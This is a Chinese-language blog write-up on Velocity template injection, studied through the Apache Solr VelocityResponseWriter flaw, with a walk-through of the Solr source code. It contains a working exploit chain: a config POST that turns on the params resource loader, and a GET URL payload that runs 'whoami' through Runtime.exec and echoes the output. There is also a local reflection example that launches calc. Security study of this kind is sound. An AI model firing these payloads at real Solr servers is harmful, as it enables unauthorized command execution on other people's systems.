当前位置: 首页 > article >正文

从Apache Solr 看 Velocity 模板注入

前言

学过 freemaker,学过 Thymeleaf 模板注入,但是还没有学过 Velocity 模板注入,然后学习一个知识最好的方法就是要找一个实际中的例子去学习,好巧不巧,前端时间还在分析 apache solr 的 cve,这次又搜到了 Apache Solr 的 Velocity 模板注入漏洞,开始学习,启动,感觉结合一个例子来学,学得还是比较理解到的

Velocity 模板注入基础

首先搭建一个环境,因为这样边写边学才能学得更快

Pom.xml 文件

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>velocity</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity-engine-core -->
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity-engine-core</artifactId>
            <version>2.0</version>
        </dependency>
    </dependencies>

</project>

直接复制粘贴就 ok

#和$和set

#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。 $用来标识一个变量,比如模板文件中为Hello $a`,可以获取通过上下文传递的$ a

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.StringWriter;

public class Test {
    public static void main(String[] args) {
        Velocity.init();
        String templateString ="#set($a = \"ooyywwll\")" +
                "Hello $a";
        VelocityContext context = new VelocityContext();
        StringWriter writer = new StringWriter();
        Velocity.evaluate(context, writer, "test", templateString);
        System.out.println(writer.toString());
    }
}

输出 Hello ooyywwll

获取属性

paylaod 改为 `#set($e="e")$e.getClass()
输出 class java.lang.String

当然还有.的这种形式

context.put("user", new User("aaaa"));


hello, $user.name!

输出 hello, $user.aaaa!

执行恶意命令

看下面的一个例子

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.StringWriter;

public class Test {
    public static void main(String[] args) {
        Velocity.init();
        String templateString ="#set($e=\"e\")\n" +
                "$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\")";
        VelocityContext context = new VelocityContext();
        StringWriter writer = new StringWriter();
        Velocity.evaluate(context, writer, "test", templateString);
        System.out.println(writer.toString());
    }
}

其实和我们的 spel 表达式几乎没有区别

开启配置

因为需要模板注入,还需要在配置文件中设置一下

在官方文档中搜寻一下,如何修改配置,或者看一些文章
参考https://blog.csdn.net/zteny/article/details/51868764

SolrConfigHandler提供一个实时且动态的获取和更新 solrconfig.xml 配置的功能。其实这么说并不准确,但可以先这么理解。因为 SolrConfigHandler 并没有直接更新 solrconfig.xml,而且是在 zookeeper 中的 solrconfig.xml 同目录下生成一个 configoverlay.json 文件用于存储更新配置项。格式当然是 json 了啦。

SolrConfigHandler 主要提供两个功能,查询配置信息和更改配置信息。对应 SolrConfigHandler 也是非常清晰,获取配置信息用 METHOD.GET,而更改配置信息用的是 METHOD.POST

所以我们就需要使用 METHOD.POST 方法去修改配置

可以发送如下的请求

POST /solr/demo/config HTTP/1.1
Host: 192.168.177.146:8983
Content-Length: 259
Cache-Control: max-age=0
Origin: http://192.168.177.146:8983
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.177.146:8983/solr/demo/config
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

然后我们再次使用获取配置信息用 METHOD.GET

可以看到,params.resource.loader.enabled 已经开启

这个的调试分析就算了,因为重点是学习模板注入

模板注入调试分析

按照模板注入的特点,我们可以全局查找一下 template.merge 是否存在模板注入

可以看见是可能存在模板注入的

这里给出 paylaod
方便调试分析

http://192.168.177.146:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

这个 paylaod 的复杂点在于获取命令执行后的回显,如果只执行命令的话是比较简单的

首先需要明确一点,渲染模板是用来回显的,至于 apache solr 的基本流程,以前的文章已经说过了,而且网上也很多,核心就是模板渲染是为了回显的,所以我们关注代码的时候,也是重点关注生成响应的代码
call:558, HttpSolrCall (org.apache.solr.servlet)
决定了我们这次请求的类型

switch (action) {
    case ADMIN:
      handleAdminRequest();
      return RETURN;
    case REMOTEQUERY:
      SolrRequestInfo.setRequestInfo(new SolrRequestInfo(req, new SolrQueryResponse()));
      remoteQuery(coreUrl + path, resp);
      return RETURN;
    case PROCESS:
      final Method reqMethod = Method.getMethod(req.getMethod());
      HttpCacheHeaderUtil.setCacheControlHeader(config, resp, reqMethod);
      // unless we have been explicitly told not to, do cache validation
      // if we fail cache validation, execute the query
      if (config.getHttpCachingConfig().isNever304() ||
          !HttpCacheHeaderUtil.doCacheHeaderValidation(solrReq, req, reqMethod, resp)) {
        SolrQueryResponse solrRsp = new SolrQueryResponse();
          /* even for HEAD requests, we need to execute the handler to
           * ensure we don't get an error (and to make sure the correct
           * QueryResponseWriter is selected and we get the correct
           * Content-Type)
           */
        SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));
        execute(solrRsp);
        if (shouldAudit()) {
          EventType eventType = solrRsp.getException() == null ? EventType.COMPLETED : EventType.ERROR;
          if (shouldAudit(eventType)) {
            cores.getAuditLoggerPlugin().doAudit(
                new AuditEvent(eventType, req, getAuthCtx(), solrReq.getRequestTimer().getTime(), solrRsp.getException()));
          }
        }
        HttpCacheHeaderUtil.checkHttpCachingVeto(solrRsp, resp, reqMethod);
        Iterator<Map.Entry<String, String>> headers = solrRsp.httpHeaders();
        while (headers.hasNext()) {
          Map.Entry<String, String> entry = headers.next();
          resp.addHeader(entry.getKey(), entry.getValue());
        }
        QueryResponseWriter responseWriter = getResponseWriter();
        if (invalidStates != null) solrReq.getContext().put(CloudSolrClient.STATE_VERSION, invalidStates);
        writeResponse(solrRsp, responseWriter, reqMethod);
      }
      return RETURN;
    default: return action;
  }
}

这里是 PROCESS,然后很明显的构造请求的方法是 writeResponse
但是前面的参数也是很重要的
我们的输入都存储在

SolrQueryResponse solrRsp = new SolrQueryResponse();
  /* even for HEAD requests, we need to execute the handler to
   * ensure we don't get an error (and to make sure the correct
   * QueryResponseWriter is selected and we get the correct
   * Content-Type)
   */
SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));

进入writeResponse 方法

private void writeResponse(SolrQueryResponse solrRsp, QueryResponseWriter responseWriter, Method reqMethod)
    throws IOException {
  try {
    Object invalidStates = solrReq.getContext().get(CloudSolrClient.STATE_VERSION);
    //This is the last item added to the response and the client would expect it that way.
    //If that assumption is changed , it would fail. This is done to avoid an O(n) scan on
    // the response for each request
    if (invalidStates != null) solrRsp.add(CloudSolrClient.STATE_VERSION, invalidStates);
    // Now write it out
    final String ct = responseWriter.getContentType(solrReq, solrRsp);
    // don't call setContentType on null
    if (null != ct) response.setContentType(ct);

    if (solrRsp.getException() != null) {
      NamedList info = new SimpleOrderedMap();
      int code = ResponseUtils.getErrorInfo(solrRsp.getException(), info, log);
      solrRsp.add("error", info);
      response.setStatus(code);
    }

    if (Method.HEAD != reqMethod) {
      OutputStream out = response.getOutputStream();
      QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);
    }
    //else http HEAD request, nothing to write out, waited this long just to get ContentType
  } catch (EOFException e) {
    log.info("Unable to write response, client closed connection or we are shutting down", e);
  }
}

可以看到获取了 ContentType,请求的方法,请求的输出

此时的响应还没有完全形成
因为这只是最基本的响应,后面还需要渲染,而我们输入的参数就决定了如何渲染,处理是在

QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);
public static void writeQueryResponse(OutputStream outputStream,
    QueryResponseWriter responseWriter, SolrQueryRequest solrRequest,
    SolrQueryResponse solrResponse, String contentType) throws IOException {

  if (responseWriter instanceof BinaryQueryResponseWriter) {
    BinaryQueryResponseWriter binWriter = (BinaryQueryResponseWriter) responseWriter;
    binWriter.write(outputStream, solrRequest, solrResponse);
  } else {
    OutputStream out = new OutputStream() {
      @Override
      public void write(int b) throws IOException {
        outputStream.write(b);
      }
      @Override
      public void flush() throws IOException {
        // We don't flush here, which allows us to flush below
        // and only flush internal buffers, not the response.
        // If we flush the response early, we trigger chunked encoding.
        // See SOLR-8669.
      }
    };
    Writer writer = buildWriter(out, ContentStreamBase.getCharsetFromContentType(contentType));
    responseWriter.write(writer, solrRequest, solrResponse);
    writer.flush();
  }
}

这段代码的主要功能是将查询响应结果写入输出流

然后进入 responseWriter.write 方法
这里我们的 responseWriter 是 VelocityResponseWriter
当然这样的流还有很多

主要和我们的输入有关系

protected QueryResponseWriter getResponseWriter() {
  String wt = solrReq.getParams().get(CommonParams.WT);
  if (core != null) {
    return core.getQueryResponseWriter(wt);
  } else {
    return SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt,
        SolrCore.DEFAULT_RESPONSE_WRITERS.get("standard"));
  }
}

我们的 paylaod wt 是等于 velocity

public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {
  VelocityEngine engine = createEngine(request);  // TODO: have HTTP headers available for configuring engine

  Template template = getTemplate(engine, request);

  VelocityContext context = createContext(request, response);
  context.put("engine", engine);  // for $engine.resourceExists(...)

  String layoutTemplate = request.getParams().get(LAYOUT);
  boolean layoutEnabled = request.getParams().getBool(LAYOUT_ENABLED, true) && layoutTemplate != null;

  String jsonWrapper = request.getParams().get(JSON);
  boolean wrapResponse = layoutEnabled || jsonWrapper != null;

  // create output
  if (!wrapResponse) {
    // straight-forward template/context merge to output
    template.merge(context, writer);
  }
  else {
    // merge to a string buffer, then wrap with layout and finally as JSON
    StringWriter stringWriter = new StringWriter();
    template.merge(context, stringWriter);

    if (layoutEnabled) {
      context.put("content", stringWriter.toString());
      stringWriter = new StringWriter();
      try {
        engine.getTemplate(layoutTemplate + TEMPLATE_EXTENSION).merge(context, stringWriter);
      } catch (Exception e) {
        throw new IOException(e.getMessage());
      }
    }

    if (jsonWrapper != null) {
      for (int i=0; i<jsonWrapper.length(); i++) {
        if (!Character.isJavaIdentifierPart(jsonWrapper.charAt(i))) {
          throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, "Invalid function name for " + JSON + ": '" + jsonWrapper + "'");
        }
      }
      writer.write(jsonWrapper + "(");
      writer.write(getJSONWrap(stringWriter.toString()));
      writer.write(')');
    } else {  // using a layout, but not JSON wrapping
      writer.write(stringWriter.toString());
    }
  }
}

可以发现是在这里渲染的模板,

最后

也是才开始学习这个模板注入,分析了这个 cve 后,对大概的挖掘流程和解析流程还是比直接看学得好了一点


http://www.kler.cn/a/420002.html

相关文章:

  • Python中的函数参数
  • window 下用Ollama 开发一个简单文档问答系统
  • java基础概念46-数据结构1
  • 项目搭建+添加
  • 二阶信息在机器学习中的优化;GPTQ算法利用近似二阶信息;为什么要求近似二阶(运算量大,ReLu0点不可微)
  • Dify+Docker
  • Android:生成Excel表格并保存到本地
  • 使用epoll监测定时器是否到达指定时间,并执行回调函数
  • 前端番外小知识——为什么需要箭头函数?
  • Pytorch使用手册-What is torch.nn really?(专题九)
  • 【电子通识】USB Type-C线缆为什么有的用到E-Marker芯片
  • 数据结构自测题4
  • 【docker】docker网络六种网络模式
  • 雪花算法生成ID
  • git 常用命令及问题
  • 多级缓存设计实践
  • Cannot resolve symbol ‘ActivityThread‘ | Android 语法
  • 【目标跟踪】AntiUAV600数据集详细介绍
  • avcodec_alloc_context3,avcodec_open2,avcodec_free_context,avcodec_close
  • 多功能察打一体多旋翼无人机技术详解
  • 摆脱复杂配置!使用MusicGPT部署你的私人AI音乐生成环境
  • [在线实验]-ActiveMQ Docker镜像的下载与部署
  • 【Oracle11g SQL详解】UPDATE 和 DELETE 操作的正确使用
  • HCSIF: 中国区域2000-2022年高时空分辨率(500m)SIF数据集
  • 电子电气架构 --- E/E(电子电气架构)的重新定义
  • 深度学习案例:ResNet50模型+SE-Net